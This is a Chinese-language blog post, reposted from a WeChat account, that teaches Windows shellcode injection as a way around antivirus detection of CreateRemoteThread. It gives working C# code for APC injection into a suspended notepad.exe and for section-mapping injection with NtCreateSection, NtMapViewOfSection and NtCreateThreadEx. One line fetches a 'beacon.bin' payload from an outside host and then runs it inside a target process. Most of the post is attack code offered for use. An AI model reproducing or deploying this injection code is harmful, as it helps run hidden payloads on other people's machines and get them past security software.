QueueUserAPC和NtMapViewOfSection是如何在进程中执行 shellcode的(二)

admin 2023年6月2日13:48:10评论47 views字数 2882阅读9分36秒阅读模式

0X00 前言

在实际环境中CreateRemoteThread会被诸如Windows Defender等各大杀软严格检测拦截。QueueUserAPCNtMapViewOfSection是我们可以用来在进程中执行shellcode的另外两种方式。

0x01 QueueUserAPC

对于QueueUserAPC,这里主要有两种利用方式:

1.生成处于挂起状态的进程,在主线程上对APC进行排队并继续。

2.枚举现有进程的线程,并在其中一个线程上对APC进行排队。(等待该线程进入alert状态或

强制该线程进入alert状态),而创建进程则是最为直接的方式

如前所述创建一个进程,但传递CREATE_SUSPENDED标志。如果进程无法启动,只需抛出一个异常即可。

var si = new Win32.STARTUPINFO();
si.cb = Marshal.SizeOf(si);

var pa = new Win32.SECURITY_ATTRIBUTES();
pa.nLength = Marshal.SizeOf(pa);

var ta = new Win32.SECURITY_ATTRIBUTES();
ta.nLength = Marshal.SizeOf(ta);

var pi = new Win32.PROCESS_INFORMATION();

var success = Win32.CreateProcessW(
    "C:\Windows\System32\notepad.exe",
    null,
    ref ta,
    ref pa,
    false,
    0x00000004, // CREATE_SUSPENDED
    IntPtr.Zero,
    "C:\Windows\System32",
    ref si,
    out pi);

// 如果无法创建,抛出异常
if (!success)
    throw new Win32Exception(Marshal.GetLastWin32Error());

获取shellcode并将其写入目标进程。调用QueueUserAPC API。为它提供shellcode在内存中的位置和进程主线程的句柄。

// APC排队
Win32.QueueUserAPC(
    baseAddress, // shellcode位置
    pi.hThread,  // 进程的主线程
    0);

恢复进程

// 恢复进程
Win32.ResumeThread(pi.hThread);
QueueUserAPC和NtMapViewOfSection是如何在进程中执行 shellcode的(二)

0x02 NtMapViewOfSection

NtMapViewOfSectionAPI集为VirtualAllocExWriteProcessMemoryVirtualProtectEx提供了一个很好的替代方案。但是使用这些较低级别的本地API的最大挑战是它们没有正式文档,因此我们只能在ntdll.dll上进行逆向工程来努力找出它们。可以参考网上这份文档:http://undocumented.ntinternals.net/index.html

获取shellcode并在当前流程中创建一个新的section。这个section必须与shellcode一样大。

var shellcode = await client.GetByteArrayAsync("https://192.168.2.151/beacon.bin");

var hSection = IntPtr.Zero;
var maxSize = (ulong)shellcode.Length;

//在当前进程中创建新section
Native.NtCreateSection(
    ref hSection,
    0x10000000,     // SECTION_ALL_ACCESS
    IntPtr.Zero,
    ref maxSize,
    0x40,           // PAGE_EXECUTE_READWRITE
    0x08000000,     // SEC_COMMIT
    IntPtr.Zero);

将该section的view映射到当前进程的内存中。

// 将该section以RW映射到当前进程的内存中
Native.NtMapViewOfSection(
    hSection,
    (IntPtr)(-1),
    out var localBaseAddress,
    IntPtr.Zero,
    IntPtr.Zero,
    IntPtr.Zero,
    out var _,
    2,              // ViewUnmap (创建的view不会被子进程继承)
    0,
    0x04);          // PAGE_READWRITE

// 将shellcode复制到我们自己进程的内存中
Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);

获取目标进程的句柄并将同一section映射到其中。这将自动将shellcode从当前进程复制到目标

// 获取目标进程的reference
var target = Process.GetProcessById(4148);

//将该区域作为RX映射到目标进程中
Native.NtMapViewOfSection(
    hSection,
    target.Handle,
    out var remoteBaseAddress,
    IntPtr.Zero,
    IntPtr.Zero,
    IntPtr.Zero,
    out _,
    2,
    0,
    0x20);      // PAGE_EXECUTE_READ

创建一个新的远程线程来执行shellcode

// 执行目标进程中的shellcode
Native.NtCreateThreadEx(
    out _,
    0x001F0000, // STANDARD_RIGHTS_ALL
    IntPtr.Zero,
    target.Handle,
    remoteBaseAddress,
    IntPtr.Zero,
    false,
    0,
    0,
    0,
    IntPtr.Zero);
QueueUserAPC和NtMapViewOfSection是如何在进程中执行 shellcode的(二)

0x03 小结

本文继续介绍了进程注入的知识。综合两篇文章,我们可以混合和匹配它们来创建自己的注入样式。例如,我们可以生成处于挂起状态的进程,使用NtMapViewOfSectionAPI映射和复制shellcode,然后QueueUserAPC或NtQueueApcThread执行它。


原文始发于微信公众号(猫哥的秋刀鱼回忆录):QueueUserAPC和NtMapViewOfSection是如何在进程中执行 shellcode的(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月2日13:48:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   QueueUserAPC和NtMapViewOfSection是如何在进程中执行 shellcode的(二)https://cn-sec.com/archives/1767735.html

发表评论

匿名网友 填写信息